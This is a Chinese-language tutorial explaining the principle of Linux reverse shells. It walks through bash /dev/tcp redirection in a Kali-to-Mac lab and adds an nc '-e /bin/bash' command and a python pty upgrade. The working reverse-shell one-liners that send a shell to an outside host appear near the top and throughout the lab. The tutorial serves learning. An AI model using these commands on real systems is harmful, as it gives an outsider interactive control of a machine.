您好,登錄后才能下訂單哦!
linux反彈shell的原理是什么?很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
完整命令
反彈shell命令:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1
利用nc反彈shell:
nc -lvvp 12345 -t -e /bin/bash
原理
bash -i > /dev/tcp/ip/port 0>&1 2>&1
bash -i 打開一個交互式的bash
&是為了區分文件1和文件描述符1的
a>&b 的意思是 a>b 2>&1
0代表輸入 ,0>&1 意思是,將輸出的窗口上所輸入的值當作當前窗口的輸入。反彈shell后會有兩個窗口,即靶機的shell窗口跟攻擊機的shell口。這命令的意思也可以理解為,將攻擊機窗口的輸入當作靶機窗口的輸入最終輸入給靶機。2代表標準錯誤輸出。
實驗
通過一個小實驗幫助大家理解
第一步,將shell的正確輸出重定向到外部主機
假設我們在kali上輸入的命令為:bash -i > /dev/tcp/192.168.124.1/9999
,這句話的意思是將交互式shell的標準輸出重定向到192.168.124.1的9999端口。
在mac上監聽端口命令為:nc -l 9999
首先在kali上輸入whoami命令,發現沒有回顯,因為回顯被重定向到了mac上。
但是當我們在kali上出入錯誤命令的時候,卻存在回顯。
第二步,將錯誤輸出重定向到外部主機
我們只需要在上面的命令后面加上 2>&1即可,意思為將錯誤輸出重定向到標準輸出上,也就是重定向到我們的外部主機。
這時候發現在kali上按鍵盤已經沒有任何回顯了,回顯全部出現在了mac的shell上:
這是因為我們已經將所有的輸出都重定向到了外部主機上,但問題是現在我們的控制權還在kali上,mac無法進行任何輸出操作,只能顯示輸出。這時候我們幾句需要將輸入的權限給予我們的mac。
第三步,交出輸入權限
只需要在第二步命令的基礎上加上 0>&1即可。
這時候已經可以在mac上完全控制kali的shell了,實驗結束。
其他
當shell不穩定時候用python的虛擬化終端:
python -c "import pty;pty.spawn('/bin/bash')"
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。